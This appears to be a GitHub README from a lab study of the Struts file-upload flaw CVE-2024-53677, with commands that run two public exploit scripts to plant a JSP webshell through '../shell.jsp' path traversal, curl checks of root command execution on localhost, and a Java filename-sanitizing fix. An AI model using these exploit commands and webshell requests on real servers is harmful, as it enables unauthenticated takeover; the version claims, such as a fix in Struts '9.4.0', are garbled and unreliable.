baburkin/struts-uploader-vulnerability
GitHub: baburkin/struts-uploader-vulnerability
Stars: 0 | Forks: 0
# CVE-2024-53677 — How the Exploit Works and How to Run It
## Vulnerability summary
The flaw is in how Struts' `FileUploadInterceptor` hands off the uploaded filename to the action class.
Normally the interceptor sanitizes the filename, but Struts also lets any multipart parameter be
processed as an OGNL expression by the `ParametersInterceptor`. Sending `top.UploadFileName`
(or `uploadFileName[0]` for multi-file actions) as a form field directly calls
`action.setUploadFileName(value)` via OGNL, overriding whatever the interceptor set.
The action then writes the file with no path sanitization:
Sending `../shell.jsp` as the filename resolves to:
Uploading a JSP webshell there gives unauthenticated RCE.
## Exploits being researched
There are two exploits being researched regarding this vulnerability:
1. [Lab Tomcat and exploit by EQSTLab](https://github.com/EQSTLab/CVE-2024-53677)
2. [Snyk vulnerability database](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHESTRUTS-8496612)
The Lab Tomcat application server, used as the target for both exploits, is taken
from the first repository, and runs in a container (docker or podman).
The subtle difference between the two exploits is shown in the side-by-side
comparison table at the end of this document.
## Results of the investigation
Both exploits have been confirmed to work on Struts `6.3.0.2`.
However, when we upgraded Struts to `6.8.0` or `6.9.0`, the first exploit
(`CVE-2024-53677.py`) stopped working - due to the fix in Struts `9.4.0`.
The second exploit (`poc.py`) works on all versions `6.3.0.2`, `6.8.0`,
`6.9.0`, unless the exploitable application code is updated as advised
below in the Mitigation section.
See the technical details of the investigation below.
## Lab setup
Clone the first repo and change to its root directory:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Copy Python script with exploit from the second referenced link (Snyk) and save
it into `poc.py` in the repo's root folder.
Create Python virtual environment for the exploit scripts, activate it and install
dependencies:
python3 -m venv venv
source venv/bin/activate
pip install requests requests_toolbelt
Copy Python script with exploit from the second referenced link (Snyk) and save
it into `poc.py` in the
You will need docker (originally) or podman (used in our research) to build and run the
exploited Lab Tomcat:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Run the exploit scripts as described below in a separate shell from the repo root
directory with Python virtual env activated.
## Using CVE-2024-53677.py
### What it does
### Command
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
### Verify RCE
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Note the required `action=cmd` parameter — the hardcoded webshell checks for it before running
the command. Without it you get `Unknown action.` instead of output.
### Upload a custom payload
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
## Using poc.py
### What it does
### Bug in the default paths
The default `--paths` value is `../../../../../webapps/ROOT`. From Tomcat's working directory
(`/usr/local/tomcat/`), this resolves to:
### Command
python poc.py \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
`--filenames` pins the filename so you know where to fetch it. Without it the script generates
random names that are printed in the output.
### Verify RCE
The webshell uploaded by `poc.py` uses the simpler `?cmd=` interface:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
## Mitigations for applications stuck on Struts 6.x
The canonical fix is upgrading to Struts 7.x, which reworked the file
uploading mechanism completely. If that upgrade is blocked (JDK 8
compatibility, third-party dependency constraints), the mitigation below
can be applied.
### Sanitize the filename in the action class (highest impact, code-level)
This is the most robust fix because it works regardless of what any interceptor passes in.
Strip all path components from the filename before building the destination path, then verify
the resolved path is still inside the intended directory.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
`Paths.get("../shell.jsp").getFileName()` returns `shell.jsp`, so even if `top.UploadFileName`
delivers a traversal string, it is reduced to a plain filename before any I/O happens.
## Side-by-side comparison
| | CVE-2024-53677.py | poc.py |
|------------------|------------------------------|---------------------------------------------------|
| Endpoint | `/upload.action` | `/uploads.action` |
| OGNL parameter | `top.UploadFileName` | `uploadFileName[0]` |
| Action class | `UploadAction` (single file) | `UploadsAction` (multi-file) |
| Webshell call | `?action=cmd&cmd=` | `?cmd=` |
| Default path bug | none | `--paths` default is too deep, override with `..` |